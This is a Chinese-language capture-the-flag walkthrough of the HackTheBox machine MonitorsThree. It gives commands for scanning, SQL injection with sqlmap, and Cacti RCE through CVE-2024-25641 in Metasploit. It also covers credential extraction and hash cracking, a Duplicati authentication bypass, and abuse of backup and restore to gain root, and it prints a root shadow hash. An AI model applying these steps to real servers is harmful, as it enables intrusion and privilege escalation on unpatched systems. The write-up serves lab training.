基本信息
端口扫描
22,80,和被过滤的8084:
1 | nmap -sC -sV -Pn 10.10.11.30 |
80
需要加hosts:
1 | 10.10.11.30 monitorsthree.htb |
网络相关业务介绍:
子域名扫描
子域名可以发现一个cacti:
1 | ffuf -w ~/Tools/dict/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u "http://monitorsthree.htb/" -H 'Host: FUZZ.monitorsthree.htb' -fs 13560 |
cacti
添加hosts后访问,Cacti 1.2.26:
MonitorsThree
两边都没开注册,回到主站简单测试可以发现忘记密码处可以枚举用户名(用Repeater的话设置改一下跟随重定向):
sql
另外常规测试可以发现sql注入:
sql注入
那就直接行sqlmap了,同样开启跟随重定向,但注意关闭resend:
1 | sqlmap -r sql.txt -v 3 --level 3 --technique=B |
cacti
得到的密码可以登录cacti:
CVE-2024-25641
根据cacti版本可以搜到相关漏洞:
- Cacti import package RCE (CVE-2024-25641) by cdelafuente-r7 · Pull Request #19196 · rapid7/metasploit-framework
https://github.com/rapid7/metasploit-framework/pull/19196
直接msf模块一键,打到www-data:
信息
然后常规配置文件中得到数据库连接信息:
1 | /var/www/html/cacti/include/config.php |
使用这个信息去查看数据库,得到新的hash:
1 | mysql -u cactiuser -pcactiuser |
其中marcus的hash可以破解出密码:
1 | sudo hashcat -m 3200 hash.txt ~/Tools/dict/rockyou.txt |
user flag
得到的密码就是系统上marcus的密码,但marcus只能密钥ssh登录,所以可以su切过去之后再读私钥方便后续操作:
Duplicati & root flag
基础枚举,发现本地8200端口,转发出来查看:
1 | ssh -i marcus_id_rsa marcus@10.10.11.30 -L 8200:127.0.0.1:8200 |
是一个Duplicati
auth bypass
需要认证信息,我们可以访问到相关数据库文件,具体步骤参考,一步步操作绕过认证:
- Duplicati: Bypassing Login Authentication With Server-passphrase | by STarX | Medium
https://medium.com/@STarXT/duplicati-bypassing-login-authentication-with-server-passphrase-024d6991e9ee
1 | -2||server-passphrase|Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho= |
backup
然后就是滥用Duplicati的备份功能
1 | 新增备份->配置新备份->设置名称,加密选项选择无加密->选择一个备份保存位置,文件夹路径(这里查看文件可以看到source下挂载了根目录,所以可以直接选择/source/tmp作为备份保存位置)->源数据直接设置为/source/root/ ->取消掉自动运行备份->默认选项保存,然后刷新首页看到我们的备份任务,选择立即运行 |
recovery
备份是以root权限进行的,我们现在还没有权限,接下来选择从备份恢复文件,其中一步可以修改权限:
1 | 恢复文件,选择我们的备份->直接选择/root/root.txt,继续->选择位置,恢复读写权限->恢复完成后即可去读取文件 |
写入文件
这种方法直接读了root.txt,同样使用备份恢复可以写公钥到root:
1 | /source/tmp/miao1/authorized_keys -> /source/root/.ssh/authorized_keys |
恢复完成写入了root的/source/root/.ssh/authorized_keys,即可直接ssh登录:
run-script
还有更简单的方法,Duplicati高级设置里可以设置各种run-script,然后去运行任何任务都会运行scrit执行命令:
shadow
1 | root:$y$j9T$3TDQ3GS5lSkNwiN4EsxVB/$Jyu3CWLTQ4mIypw/03JOtPle6vdpaoY/x6J9brbV9P4:19869:0:99999:7::: |
参考资料
- Cacti import package RCE (CVE-2024-25641) by cdelafuente-r7 · Pull Request #19196 · rapid7/metasploit-framework
https://github.com/rapid7/metasploit-framework/pull/19196 - Duplicati: Bypassing Login Authentication With Server-passphrase | by STarX | Medium
https://medium.com/@STarXT/duplicati-bypassing-login-authentication-with-server-passphrase-024d6991e9ee